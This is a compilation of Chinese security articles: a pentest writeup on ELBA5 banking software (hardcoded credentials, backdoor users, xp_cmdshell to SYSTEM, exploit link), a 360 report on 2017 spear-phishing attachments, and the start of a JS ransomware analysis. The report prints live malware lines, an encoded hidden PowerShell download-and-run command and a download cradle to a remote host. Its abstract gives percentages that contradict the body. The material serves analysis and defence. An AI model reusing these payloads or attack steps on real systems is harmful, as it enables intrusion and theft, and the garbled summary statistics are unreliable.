需要注意的是，ELBA5有两个不同的版本，即ELBA5单用户版（single-seat）和ELBA5多用户（multi-user，也称为网络安装版）。本文所处讨论的漏洞仅适用于ELBA5网络安装版。尽管如此，我还报告了单用户版其他几个问题，虽然这些问题等级并没有那么严重。因此，这里我强烈建议用户升级到最新版本。
为了便于大家理解ELBA5系列软件在多用户版环境中的工作原理，我绘制了如下示意图。图左侧为ELBA5服务器：这个角色有两个不同的功能：一方面它使用标准的Windows文件共享方式为所有客户端提供ELBA5二进制应用程序；另一方面，它提供了ELBA5后端服务，也就是SAP
SQL Anywhere数据库。
最终用户系统只需连接到这个文件共享服务，然后从该位置启动ELBA5客户端即可。通过这种方式，应用程序的更新变得非常容易，每个人使用的都是同一个程序包。ELBA5客户端所查看、修改或创建的所有数据都直接存储在后端数据库中。以上信息就是我们为了理解漏洞所需掌握的背景知识。
## 0x01 发现问题
整个故事开始于去年的一次渗透测试。
在这次渗透测试中，我能够访问财务部门的终端服务器。除此之外，他们还使用ELBA5网络安装版来开展日常业务。我天生好奇心非常强，因此立即开始调查所有看起来比较有趣的应用程序。后续的测试步骤如下图所示，大家能发现一些（可能存在的）问题吗？
上面有个环节引起了我的注意：在之前没有经过任何身份验证的情况下，如何做到自动安装更新？ELBA5应用程序是否使用了硬编码的凭据来连接到后端服务？
## 0x02 初步分析
初步发现这个疑点后，我开始深入挖掘。由于ELBA5采用Java语言开发，因此我使用CRF反编译器来获取该应用内部工作原理的更多信息。奇怪的是，我找不到与数据库后端建立连接的任何代码，当时真的引起了我非常大的兴趣。
第一次尝试失败后，我转而使用更加暴力的方法：由于我猜测ELBA5客户端使用了硬编码凭证，因此这些凭证必定位于内存中的某个位置。快速搜索`user`、`uid`、`password`、`pwd`等字符串后，我并没有发现任何有趣的内容。
因此我猜测，在建立初始连接后，这些凭证可能会立即被清除。
此时就轮到暴力方法登场了：我下载了微软的`procdump`工具，在启动ELBA5时尽可能快地导出程序的内存。导出的内存如下所示，这种方法的确有效。我最终找到了两个有效的后端用户凭据：`connector`及`elba`：
再次安装ELBA5网络版后，我证实了`connector`用户始终使用相同的静态密码，而`elba`用户的密码并非一成不变。这的确是一个问题，因为只有`elba`用户拥有管理DBA的权限。
基于这些信息，我猜测这种环境中必须有两个步骤来进行身份验证：
## 0x03 具体细节
仔细观察调试机器上的`connector`用户的权限后（我知道该环境中的DBA密码），我发现该帐户仅被授权访问单个表中的单个列。此时我知道了加密后的DBA密码的存储位置。我将`daten`列的内容与已知的`elba`密码进行比较后，我发现该密码经过加密处理（或至少被混淆处理过），因为这两者完全不同。
因此我不得不再次仔细查看应用的源代码。经过几个小时的调试后，我最终发现了一条有趣的注释：
数据库逻辑是否已经“对外封装”到一个单独的库中？为此，我从`systemtools.dll`库中提取了所有字符串，立马就能看到一些不同寻常的地方：
上图中高亮标记的SQL命令可能用于解密加密后的`elba`
DBA数据库密码。我推测这里使用了AES加密算法来保护密码。但是，仅从静态字符串中我无法提取所需的密码。所以我不得不使用更加动态的方法：：Immunity
Debugger。
在上述字符串的内存地址上设置断点（以及几个小时的调试）后，我在堆栈上找到了以下信息。 高亮部分中包含用于解密`elba`用户密码的硬编码密钥。
## 0x04 利用已有信息
综合以上信息后，现在我们可以准确提取出每个ELBA5网络版的DBA权限信息：
1、使用硬编码的`connector`用户连接到数据库，然后`SELECT`获取经过AES加密的DBA用户密码；
2、在Immunity Debugger的帮助下，使用静态的AES密钥来解密该密码；
3、使用`elba`用户和解密出来的密码连接到数据库。我们现在可以完全控制存储在数据库中的所有信息。
然而，这只是有趣旅程的开始。
## 0x05 添加后门用户
由于我们的目标是银行应用，我认为此时多赚取一点额外的现金肯定是很棒的一件事。那么，要不要说一下添加后门用户？
再次分析源代码后，我发现了该应用会将用户的密码存储在`BEDIENER`表中。
分析所有相关方法后，我梳理出了更具可读性的代码：
这样我们就可以将任意用户远程添加到ELBA5实例中，并且在逻辑上具有管理员权限：
## 0x06 远程代码执行
稍等，还有很多事情可以做。从测试者的角度来看，我们更关心控制服务器，而不是窃取金钱。幸运的是，我们可以使用ELBA5 SQL
Anywhere数据库服务器中我们熟悉的一个老伙伴：`xp_cmdshell`。这条SQL命令可用来在操作系统上运行任意应用。更令人感兴趣的是，这个数据库以完整的`SYSTEM`权限来运行：
这意味着我们还可以添加新的Windows管理员，这样我们就可以完全控制被攻击的服务器。比如我们可以使用Mimikatz等工具。
## 0x07 PoC
为了自动化这个攻击过程，我开发了一个具备完全功能的python漏洞利用脚本。该脚本可以用来将新的ELBA5用户添加到数据库中，也可以远程运行目标系统上具有`SYSTEM`权限的命令。唯一需要满足的是ELBA5
SQL Anywhere数据库服务运行的是易受攻击的版本，并且可以通过网络进行访问（TCP端口2640）。
大家可以访问[此处](https://bogner.sh/wp-content/uploads/2018/11/elba5_exploit.py_.zip)下载完整的利用代码。
## 0x08 协调漏洞公布进度
这里我还想简要讨论一下我与ELBA5的开发人员一起协调的漏洞公开披露流程。我于去年最早提交了相关漏洞，厂商在几天内就进行了确认。正如一些人猜测的那样，这更像是一个架构问题，因此需要进行复杂的重写和测试。在此过程中，我总共两次被要邀请讨论当前问题状态。我们开诚布公地谈论了相关风险以及如何减轻这个风险。
我希望所有人都能了解这个问题的完整过程。没有多少公司会认真对待IT安全，这个问题真实地展示了该厂商对合作伙伴和最终用户的重视程度。再次表示我的谢意。
## 0x09 缓解措施
这个协调过程对最终用户来说也很重要。用户唯一要做的就是从`https://www.elba.at`安装最新的ELBA5
5.8.1版本。厂商进行了大量测试，使得新的认证模块对用户完全透明。
## 0x0A 总结
我一直认为对关键内容的总结很重要，因此我稍微总结了一下，如下图所示。该图整体介绍了底层漏洞原理和解决方案，这个演示文稿也有德语版本。
如果大家有任何问题，欢迎随时联系我（`[email protected]`）。 | 社区文章 |
# 360发布2017鱼叉攻击邮件研究报告
##### 译文声明
本文是翻译文章，文章原作者 360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
作者：360安全卫士
投稿方式：发送邮件至linwei#360.cn，或登录网页版在线投稿
## 摘要
本次报告的研究范围限定在以恶意文档作为附件来进行伪装和攻击的鱼叉攻击邮件，其中恶意文档主要是指包含了病毒代码或者漏洞利用的伪装性攻击文档，此报告的研究范围不包括除鱼叉攻击邮件以外的其他恶意邮件，如垃圾邮件、钓鱼邮件等，也不包括通过URL链接引导用户跳转到指定的网站利用浏览器漏洞或者其他欺骗信息进行攻击的情况。
通过对2017年鱼叉攻击邮件抽样分析统计显示，以订单类为主题的鱼叉攻击邮件最多，占比高达8%，排名第二的主题是支付类，占比为19.4%。
攻击者通过鱼叉邮件最喜欢攻击的是各个企业，占比高达5%，其次为金融机构，占比为14.7%，排名第三的是政府机构，占比为7.1%。
从鱼叉邮件攻击地区知道，受攻击地区主要集中在亚洲、北美洲、欧洲，占比分别为8%、 23.1%、21.9%。
抽样统计显示，7%发件人使用的是企业专用邮箱，个人邮箱中排名前二位的是分别是Gmail邮箱和Outlook邮箱，占比分别为19.3%和7.2%。
攻击者在邮件中最喜欢携带的文档为Office文档，占比高达4%，其次为 RTF（Rich Text Format）文档占比达到了27.3%。
抽样统计显示，通过宏代码来运行恶意载荷所占比例最大，达到了3%，其次是通过系统漏洞来执行恶意代码的方式，占比为36.3%。
通过统计鱼叉攻击邮件携带的载荷发现，下载者木马占据第一，占比为3%，排名第二和第三的分别是远控木马、信息盗取木马，占比达到了23.7%和13.9%。
关键词： 鱼叉攻击邮件、发件人、主题、附件、漏洞、宏代码、载荷
## 研究背景
电子邮件是人们日常工作中不可或缺的沟通工具，也是获取工作信息或文件的重要通道。由于电子邮件用户基数庞大，加上反病毒技术的快速发展及免费安全软件的普及，恶意程序的传播变得越来越困难，所以越来越多的攻击者利用电子邮件为载体，传播恶意程序实施恶意行为，特别是在一些定向攻击中，更是体现得淋漓尽致。攻击者针对特定目标投递特定主题及内容的电子邮件来进行攻击，安全意识薄弱的用户很容易中招。
对于鱼叉攻击邮件，为何用户容易中招呢？360互联网安全中心的安全专家们对这一问题展开了深入的分析。分析发现，这些鱼叉攻击邮件在制作手法和攻击技术等方面并没有什么特别之处，也没有采用什么新型技术。但是，此类鱼叉攻击邮件普遍采用了社会工程学的伪装方法，攻击者会进行精心构造邮件主题、邮件内容及附带的文档名，极具欺骗性、迷惑性，导致很多用户中招。此外，部分用户安全意识只停留在可执行的恶意程序上，对邮件中附带的恶意文档防范意识较弱。
鉴于此种情况，360安全专家对2017年全球范围内的鱼叉攻击邮件样本进行抽样分析与研究，形成此报告，希望能够借此帮助更多的用户提高安全意识，对此类鱼叉攻击邮件有个直观感受，有效防范此类恶意攻击。
需要说明的是：本次报告的研究范围限定在以恶意文档作为附件来进行伪装和攻击的鱼叉攻击邮件，其中恶意文档主要是指包含了病毒代码或者漏洞利用的伪装性攻击文档，此报告的研究范围不包括除鱼叉攻击邮件以外的其他恶意邮件，如垃圾邮件、钓鱼邮件等，也不包括通过URL链接引导用户跳转到指定的网站利用浏览器漏洞或者其他欺骗信息进行攻击的情况。
## 鱼叉攻击邮件分析
### 邮件主题分析
通过对2017年鱼叉攻击邮件抽样分析统计显示，以订单类为主题的鱼叉攻击邮件最多，占比高达39.8%，主题关键字涉及订单、RFQ（Request For
Quotation)、采购单、PO（Purchase
Order）等，并且此类邮件的内容通常与主题相符合，内容通常有如下几种形式：1、请给出附件订单最优惠价格；2、请参考我们公司以往订单中产品的价格等。排名第二的是支付类，占比为19.4%，涉及的主题主要有Payment、Invoice（发票）、Balance
Payment
Receipts等，此类主题的邮件内容通常有：1、附件为我们公司的支付方式；2、附件为我们公司寄出的发票；3、麻烦确认附件的支付信息。以上这两类邮件通常是用于攻击公司，并且攻击者在进行攻击时会针对主题设置相应邮件内容。
除了以上两类，排名第三的是无主题，占比为14.7%。主要原因有两方面：1、缩短鱼叉攻击邮件制作时间；2、为了方便群发邮件，由于攻击者想要攻击的人群多样，很难找到适合所有收件人的主题。在今年5月12日爆发了“WanaCrypt0r”（永恒之蓝）勒索病毒后，很多变形后的敲诈者木马就是通过空白主题的邮件进行广泛传播，此类邮件缺少主题甚至正文，只携带恶意附件，因此，提醒用户要提防此类邮件（即缺少正文和主题的邮件），不要轻易打开，最好是直接将此类邮件扔进垃圾箱。
此外，以通知类和政策类为主题的邮件经常出现在APT攻击中，主题如xx大会召开、颁布新政、战略计划等，针对是陌生人发来的此类主题的邮件也当特别注意。隐私类主要是指以xx简历、xx聚会照片、xx体检报告、xx工资为主题的邮件。其他类主题就比较广泛，主要有诱导执行类主题，还包括节日祝福、xx培训、backup、代开发票、股票信息等。其中诱导执行类主题的邮件携带的恶意附件多为宏病毒文档，这是由于很多用户默认Office设置是检测到宏代码发出提醒，这导致攻击者会在邮件主题以及内容中添加诱导内容，如点开“允许”按钮才能查看文档内容等，在好奇心的驱动下，普通用户很容易中招。
### 攻击行业分析
抽样统计显示，企业最易成为攻击者通过鱼叉攻击邮件进行攻击的对象，占比高达61.5%，这里所说的企业主要包括互联网、IT信息技术、生活服务、批发零售等企业。之所以企业成为了通过鱼叉攻击邮件进行攻击的首要目标，主要原因有以下两点：1、企业数量众多，并且多数攻击以获取经济利益为目的，这类攻击通常将企业作为攻击目标。2、企业的部分邮箱很容易暴露，如公司发布招聘信息，这可以让攻击者很容易向该邮箱发送带有恶意附件的邮件。
其次，金融机构占比较大，达到了14.7%，这里所说金融机构主要是指银行、证券公司、保险公司、信托公司，邮件内容及邮件携带的恶意附件通常是有关汇率及银行账单信息等。虽然攻击这类机构有较高的风险，但对这类机构的攻击可获取巨大的利益，因此对金融机构得攻击仍然占据较大比例。
排名第三的是政府机构，达到了7.1%，邮件携带的漏洞文档一般是新闻稿、各国出台的新政策及向政府部门提出的建议等；其次是军事机构和科研教育机构，达到了5.2%和4.2%，这类攻击通常由具有政治背景的APT组织发起，攻击往往带有政治目的。
另外需要说明的是，“其他”类别占据了7.3%，这部分邮件攻击目标涉及到普通个人、医疗卫生、协会团体等多个方面。上面提到的这些邮件通常会配有相应的邮件内容、主题、并且邮件携带的恶意附件也会含有伪装内容。
因此，通过邮件传播的恶意附件极具欺骗性，很多安全意识薄弱的用户很容易中招。
### 攻击地区分析
从下图的鱼叉攻击邮件攻击目标可以看出，受攻击地区主要集中在亚洲、北美洲、欧洲，排名第一的是亚洲，占比为29.8%，其中主要包括中国、越南、菲律宾、韩国、日本、哈萨克斯坦、伊朗、巴勒斯坦等国。其次是北美洲，占比为23.1%，主要包括加拿大、美国、巴拿马等国。排名第三的是欧洲，占比也超过了20%，受攻击国家主要有俄罗斯、乌克兰、德国、荷兰、罗马尼亚等国。紧随其后的是大洋洲、非洲以及南美洲，占比分别为9.9%、8.7%、6.6%。
通过鱼叉攻击邮件攻击地区可以知道，全球多个国家遭受到了鱼叉式网络攻击，这变相说明了此类攻击仍然是现今攻击者使用的一种主流攻击方式，很多攻击者通过社会工程学获取用户或机构的邮箱地址，然后伪装其相应的主题，携带恶意附件，进行攻击。因此在这里也提醒用户对于不知来历的文档，特别是携带文档的邮件，应特别小心，否则很容易中招。
### 发件邮箱分析
抽样统计显示，55.7%发件人使用的是企业专用邮箱，如@tsl.com、@o2.pl、@ dhl.com、@
srwealth.biz、@web.de、@nesma.com等。这类邮箱分为两种情况：1、攻击者获取了某个企业员工的邮箱，通过该邮箱发送鱼叉攻击邮件给企业其他员工；2、攻击者直接伪造邮件发件人，以免被安全从业人员溯源。从社会工程学上看，发件人邮箱为企业的邮箱，并配有相应的邮件内容，更容易取得用户的信任。
另外44.3%发件人使用的是个人邮箱，其中Gmail邮箱比例占据较大，达到了19.3%，主要由于其强大的邮件功能、绝佳的用户体验，让其全球具有很多用户。因此，部分攻击者利用其注册的Gmail邮箱用于网络攻击。另外，Outlook邮箱占据了7.2%，排名第三，这是由于很多用户为了方便，使用该类型邮箱与Office其他套件配合办公，在进行网络攻击时也采用了此类邮箱。最后mail.ru占据了4.4%，该类型邮箱主要在俄罗斯使用。
另外需要说明的是，“其他”类别占据了13.4%，这部分主要包括yahoo邮箱、foxmail邮箱、163邮箱等。因此在这里提醒用户对于含有附件的未知电子邮箱，应特别小心，不要被好奇心驱动而打开附件。
## 鱼叉攻击邮件携带文档分析
### 携带文档类型
通过对2017年出现的鱼叉攻击邮件抽样分析统计显示，攻击者在邮件中最喜欢携带的文档为Office文档，占比高达65.4%。主要原因有以下两个方面：1、Office文档类型众多，从而导致漏洞类型比较多，攻击者可供选择的载体多；2、Office用户群体庞大。其中在Office系列中Word文档类型尤为突出，占比高达81.8%，主要原因有1、很多恶意宏文档喜欢选用Word作为载体，2、Word软件相关的高可利用的漏洞比较多，如CVE-2017-0199。其次在Office系列排名靠前的是PowerPoint文档，占据了11.7%，很多攻击者喜欢利用
PowerPoint OLE 钓鱼文档，将PowerShell代码或恶意PE文件嵌入PPT
文档中进行攻击，此类攻击一般Office默认会弹出安全警告窗口，但是安全意识较弱的用户容易选择放行。
除了Office文档之外，攻击者也喜欢利用将RTF（Rich Text
Format）文档作为附件，其占比达到了27.3%。由于RTF文件结构简单，能交换各种文字处理软件之间的文本，并且默认情况下RTF类型的文件系统会调用Word程序来解析，因此很多攻击者选择使用RTF文档，并嵌入恶意OLE对象用于触发漏洞或绕过Office的安全保护机制。此外，PDF文档也占据7.3%，该类文档中通常包含一些恶意的JavaScript代码，这些代码会连接云端下载恶意程序，当然还有利用PDF漏洞进行攻击的文档。
因此，在此提醒用户，对含有文档附件的电子邮件应当特别注意，不要轻易打开文档，以免中招。
### 攻击触发方式
这些鱼叉攻击邮件附件一旦运行后，是怎么样运行恶意程序或代码呢？
抽样统计显示，鱼叉攻击邮件携带文档为恶意宏文档的比例最大，达到了59.3%。宏是微软公司为其Office软件包设计的一个特殊功能，为了避免一再地重复相同的动作而设计出来的一种工具，但是很多攻击者在Office文档中嵌入恶意宏代码来达到自己目的，如远端下载恶意程序。此外，Office软件的宏功能在macOS上也能良好运作，因此相对于漏洞文档来说，恶意宏文档制作较简单，攻击成本较小，并且兼容性更强，这也是恶意宏文档如此广泛的原因。针对该类文档的防护，建议广大用户对于未知的宏代码不要轻易运行。
此外，通过系统漏洞来运行恶意载荷排名第二，达到了36.3%，在具体漏洞使用过程中，CVE-2017-0199漏洞被利用的次数最多，相关的漏洞文档占比高达43.3%，这是由于该漏洞为2017年3月爆出的新漏洞，利用方式简单，攻击者只需在VB脚本中配置自己的恶意程序地址就能构造一个恶意文档，因此该漏洞深受攻击者喜爱。排名第二位和第三位分别是CVE-2012-0158和CVE-2015-1641，二者分别占比为18.5%和9.5%。虽然这两类漏洞已经存在较长时间，但由于利用稳定，漏洞利用方法成熟，并且漏洞影响版本较多所以也很受攻击者青睐，其他类别中主要使用的漏洞有CVE-2017-11882、CVE-2017-8759、CVE-2017-11826、CVE-2017-8464、CVE-2014-6352等，需要特别重视的是，Office公式编辑器漏洞CVE-2017-11882在全年的占比不是很高，但是自从该漏洞爆发后广泛被攻击者利用，随着该洞的不断曝光，未来被利用的情况会有所增加。
其他类主要是指嵌入带交互的恶意对象或直接嵌入恶意PE程序的文档，“带交互的恶意对象”利用攻击主要是指 Object
Linking攻击和DDE（动态数据交换）攻击。其中嵌入恶意Object
Linking文档一般为PowerPoint文档，需要进行交互，含有PowerShell代码，如“Zusy”文档，该文档注册了鼠标悬停回调函数，当用户鼠标悬停在链接上，就调用恶意的PowerShell代码。DDE攻击主要是指攻击者可以创建包含DDE字段的恶意Word或RTF或Outlook文件，打开命令提示符，运行恶意代码。通常情况下，针对带交互的恶意对象的文档攻击，Office应用程序会发出警告提示。因此对此类文档的防护，建议用户对office办公软件中未知的警告提示不要轻易选择开启或确认放行。
### 最终攻击载荷
下图给出了鱼叉攻击邮件附件最终载荷功能占比，可以看出在所有的恶意载荷中，下载者木马占比最高，占比为38.3%，此类木马是指连接远端下载恶程序。攻击者之所以喜欢选择下载者木马，主要原因有以下两点：1、攻击者可以随意替换下载链接下的恶意文件，能更好的达到自己目的；2、部分攻击者在使用文档进行攻击时，会将恶意程序直接嵌入文档中，此时为了减少恶意附件和文档的体积，通常选择下载者木马作为载荷；3、攻击者利用某些漏洞（如CVE-2017-0199）进行攻击时，通常会下载包含PowerShell命令的Visual
Basic脚本，这些脚本一般是下载者木马。
排名第二和第三的分别是远控木马、信息盗取木马，分别达到了23.7%和13.9%。远控木马会使用户计算机变成肉鸡，并实时控制用户电脑，上传各种资料，甚至使用肉鸡进行二次攻击，如DDOS等。信息盗取木马主要是指会盗取计算机中Email、浏览器、FTP帐号密码信息，甚至盗取用户计算机中的关键文档。
需要特别引起注意的是，敲诈者木马占比达到了11.7%，敲诈者木马是指一种通过加密用户重要文件向用户敲诈钱财的恶意程序，很多用户中招后，即使支付赎金，也未必能找回重要文件。从今年5月12日爆发“WanaCrypt0r”（永恒之蓝）和6月27日爆发Petya这两类敲诈者木马后，各种敲诈者变体变得很流行，很多攻击者选择采用Necurs（Necurs是全球范围内最大的垃圾邮件僵尸网络，拥有接近五百万被感染的机器）进行广泛传播来获取直接利益。未来敲诈者木马或许会越来越流行，因为这种盈利模式与技术模式越来越受攻击者喜爱。
## 鱼叉攻击邮件携带文档攻击案例
### 利用漏洞攻击案例
如下是一起利用最近爆出的Office漏洞CVE-2017-11882进行鱼叉邮件攻击的案例，其中邮件主题为“Требования по операциям
с карточными
продуктами”，收件人为某银行机构，邮件内容是告诉从业者要遵循即将在2017年12月1日生效的相关规定（https://www.cbr.ru/analytics/?Prtid=nko&ch=itm_31150#CheckedItem），邮件附件名为“Приказ
№3120567”（xx命令）。安全意识薄弱的用户通过邮件内容以及附带的文件名会以为会是正常机构发来的通知，从而打开附件中招。通过分析该文档，发现文档中嵌入了恶意载荷，并通过最近刚刚爆出存在17年之久的公式编辑器漏洞CVE-2017-11882触发。
CVE-2017-11882漏洞影响范围相当广，基本上覆盖目前市面上的所有Office版本及Windows操作系统。该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的OLE数据时，在拷贝公式字体名称时没有对名称长度进行校验，从而造成栈溢出。
分析Приказ
№3120567.doc文档，发现该文档实际上为RTF文档，并且内嵌OLE对象，对象用于触发漏洞，漏洞触发成功后，会从远端http://xxx.xxx.99.77/x.txt下载文件，并通过mshta.exe运行。
下载的文件x.txt实际上是一段JavaScript脚本，经过美化后，部分内容如下
再次去混淆、解码后，得到主要的功能函数代码。
powershell -NoP -nOnI -w hIdden -e "JABzAGwAIAA9ACgAWwBjAGgAYQByAF0AOQAyACkAOwAkAGYAZgAgAD0AIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQAgACsAIAAkAHMAbAAgACsAIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAAxADAAIAB8ACAAJQAgAHsAWwBjAGgAYQByAF0AJABfAH0AKQAgACsAIAAnAC4AcABzADEAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADUANAAuADkAOQAuADcANwAvAG8AdQB0AC4AcABzADEAJwAsACAAJABmAGYAKQA7AGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAZgApACAAewAkAG0AaQAgAD0AIAAkAGUAbgB2ADoAdwBpAG4AZABpAHIAIAArACAAJABzAGwAOwAkAGUAMgAgAD0AIAAnAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbAAnACAAKwAgACQAcwBsACAAKwAgACcAdgAxAC4AMAAnACAAKwAgACQAcwBsACAAKwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAOwBpAGYAIAAoAFsAUwB5AHMAdABlAG0ALgBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAIAB7ACAAJABtAGkAIAA9ACAAJABtAGkAIAArACAAJwBTAHkAcwB0AGUAbQAzADIAJwAgACsAIAAkAHMAbAAgACsAIAAkAGUAMgA7AH0AIABlAGwAcwBlACAAewAgACQAbQBpACAAPQAgACQAbQBpACAAKwAgACcAUwB5AHMAVwBPAFcANgA0ACcAIAArACAAJABzAGwAIAArACAAJABlADIAOwB9ACQAeAAwAD0AKABbAGMAaABhAHIAXQAzADQAKQA7ACQAYQByAGcAMQAgAD0AIAAnAC0AZQB4ACAAYgB5AHAAYQBTAHMAIAAtAEYAaQBsAGUAIAAnACAAKwAgACQAeAAwACAAKwAgACQAZgBmACAAKwAgACQAeAAwADsAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AdwBpACAAaABpAGQAZABlAG4AIAAkAG0AaQAgACQAYQByAGcAMQA7AH0A"
需要注意的是，在分析该漏洞其他样本时，还发现不同的利用方式，它不是通过mshta.exe、powershell.exe、cmd.exe等程序从网络加载恶意程序，而是通过内嵌两个对象，其中一个对象为恶意PE文件，漏洞触发后直接运行恶意程序，这种方式在用户断网的情况下仍然可以达成有效攻击。因此可以看出，该漏洞能让攻击者在无需用户交互的前提下在受害者计算机中执行代码，在攻击效果上堪比CVE-2012-0158漏洞，因此后期该漏洞很可能成为各大攻击组织的必备漏洞利用库之一。上述代码主要是从远端（http://xx.xx.99.77/out.ps1）下载恶意文件，并执行。
在此，建议广大用户及时更新系统漏洞补丁，减少漏洞文档触发的可能性。
### 带毒宏攻击案例
如下是一起利用恶意宏文档进行鱼叉邮件攻击的案例，其中邮件主题为Job
Application（工作申请），邮件内容大致是攻击者伪装成自己经验与该工作比较契合，麻烦查看简历，邮件附件名为“Adrena简历”。很多用户在看到该邮件内容、主题以及附件名称，会以为是正常的工作申请，从而打开简历中招。
通过分析Adrena-Resume.doc文档，发现文档中嵌入了恶意宏代码，并且打开文档就会提醒用户该文档是Office早期版本创建，请点击允许执行内容按钮查看内容，如下图所示。如果用户选择点击执行按钮实际上是运行恶意宏代码。
查看宏代码，发现宏代码是经过混淆的，去混淆后，这段宏代码主要功能是从远端（http://185.***.***.***/111.jpg）下载恶意程序，保存在临时目录并执行。
此外，需要特别注意的是，Office软件的宏功能在macOS上也能良好运作，虽然macOS系统上宏功能是默认关闭的，但仍然会有运行安全提示，有些警惕性不强的用户打开文档后，往往可能忽略掉安全提示，直接运行宏代码而中招。因此针对这两种系统，攻击者可以使用同一份攻击代码进行跨平台攻击，例如，在2017年8月份，由360核心安全团队捕获到的跨平台攻击样本“双子星”，该样本兼容了Windows和macOS两操作系统，用户无论是在哪个系统打开这个文档，都有可能中招。此样本是使用宏内建的预定义语法对Mac和Windows平台进行兼容，如果是Mac平台，则采取一句话shell脚本执行Python恶意代码的荷载攻击方式。
在此，提醒广大用户，不要将Office软件宏设置成自动运行选项，并且对于未知的宏代码不要轻易运行。
### 带交互的恶意对象攻击案例
如下是一起利用带交互的恶意对象文档进行鱼叉邮件攻击的案例，其中邮件主题为“Purchase
orders”（采购订单），邮件内容大致是请参阅附件购买设备，邮件附件名为“order&prsn.ppsx”。部分用户在看到该邮件内容、主题以及附件名称，会以为是真实的订单内容，从而打开ppsx文档。
通过分析order&prsn.ppsx文档，发现文档中既没有利用漏洞也未嵌入宏，而是利用带交互的恶意对象进行攻击（Object
Linking攻击）。此文档以恶意PPT文件为载体，通过鼠标悬停事件执行PowerShell代码。
当PowerPoint演示文稿打开时，它将显示文本“正在加载…请等待”作为超链接，显示为用户的蓝色超链接，当用户将鼠标悬停在此文本上，会导致PowerPoint执行PowerShell。但是如果开启了受保护视图安全功能，Office会通知用户风险，用户如果启用内容，PowerShell才会代码被执行。
Powershell代码如下：
powershell -NoP -NonI -W Hidden -Exec Bypass “IEX （New-Object System.Net.WebClient).DownloadFile（'http:'+[char] 0x2F+[char] 0x2F+'****.nl'+[char] 0x2F+'c.php',\“$env:temp\ii.jse\”); Invoke-Item \“$env:temp\ii.jse\”“
需要注意的是，另外一种带交互的恶意对象攻击（DDE攻击）通常是通过powershell.exe、cmd.exe、mshta.exe等程序从网络加载恶意程序，此类攻击Office应用程序会发出关于包含指向其他文件的链接的文档警告，因此这种攻击跟
Object
Linking攻击一样，不要在Office发出警告提示时，轻易选择开启或确认放行。上述代码主要是连接远端地址hxxp://****.nl/c.php下载恶意文件并执行。
### 嵌入带毒程序攻击案例
如下是一起在文档中嵌入带毒程序进行鱼叉邮件攻击的案例，其中邮件主题是P.O（Purchase
Order采购订单）类，邮件内容大致是请给出附件订单中产品的最优价格，邮件附件名为“P.O#
62826-D.docx”，很多用户在收到此类邮件时，发现发件人使用的是专用的企业邮箱，并且看到该邮件内容、主题以及附件名称，会以为是正常的客户请求，从而打开附件。
通过分析P.O# 62826-D.docx文档，发现文档中既没有利用漏洞也未嵌入宏，而是直接在文档中嵌入PE
恶意文件。打开文档后显示如下所示内容，提示用户双击打开（Please Double Click To Open)，并且该程序伪装成正常的Adobe
PDF文件图标，普通用户会以为是正常的文档内容，从而双击打开该程序。
当用户打开时，就会执行恶意程序output4398CD0.exe。但是默认情况下Office会开启安全保护功能，在此种情况下会通知用户风险，用户如果执行运行，恶意PE程序才会被执行。因此，攻击者在利用此类方式进行攻击时，通常会结合社会工程学来欺骗用户点击打开。
另外，需要特别注意的是，部分攻击者为了达到让用点击“运行”按钮的效果，会嵌入多个同样的PE恶意文件，这造成在用户环境执行该文档时，对弹出的安全警告窗口点击“取消”后会继续弹出，一般安全意识较弱的用户在经过多次操作后没有达到预期效果，则会点击“运行”由此来达到关闭安全警告窗口，从而导致中招。
因此，提醒广大用户，Office办公软件发出警告提示时，应特别谨慎，不要轻易选择执行。
## 结语
综上所述，越来越多的攻击者更加倾向于使用鱼叉攻击邮件来进行网络攻击，原因主要有以下几点：1、电子邮件用户基数庞大，使用广泛。2、攻击成本低，既可以发起点对点攻击，又可以发起点对面攻击；3、结合社会工程学手段，精心构造邮件主题、内容，容易使人中招；4、很多用户的安全意识停留在可执行程序上，使用恶意文档进行攻击很容易让用户放松警惕。
在此，360互联网安全中心提醒广大用户克制好奇心，谨慎对待陌生邮件，不要随意打开来路不明的附件。同时给广大用户以下几点建议：
随时保持杀毒软件防护功能开启，并且及时更新漏洞补丁；
谨慎对待带有“宏”相关提示的文档，不要将Office宏设置为“允许所有宏执行”；
打开文档时，Office发出的安全警告提示应当特别注意，不要轻易选择允许执行；
可以禁止Office相关“自动更新链接”功能。 | 社区文章 |
# 近期js敲诈者的反查杀技巧分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
最近不少网友反映电脑中了敲诈者病毒(又名“Locky勒索软件”),电脑中的文档,图片等重要资料被病毒加密。此类病毒载体为js脚本,由js脚本下载远程服务器的pe文件,并使此pe文件在本地运行,从而完成对受害电脑数据的加密。
根据360安全中心监测,js敲诈者病毒主要通过网页挂马和钓鱼邮件两种途径进行传播,本文将对此类病毒的传播方法及反查杀技巧进行分析。
**网页挂马传播**
黑客会利用部分网站的漏洞,将js敲诈者病毒植入到网页中,当用户访问带有恶意代码的网页时,电脑就会自动下载并执行此病毒。
图 1:样本1
如图1所示的样本,它利用十六进制对代码进行简单的加密,因此对它进行解密相对来说比较简单,解密后的代码如图2所示:
图 2:解密后的样本1
通过分析解密后的代码可以看出,它利用IE的ActiveX控件来获取远程的PE文件,执行过程包括下载文件,保存文件和运行文件三个步骤。它首先创建MSXML2.XMLHTTP对象来与远程服务器进行通信,获取服务器中的数据,然后使用创建的ADODB.Stream对象将获取的数据保存到用户的TEMP目录下,最后利用创建的WScript.Shell对象直接运行此文件。
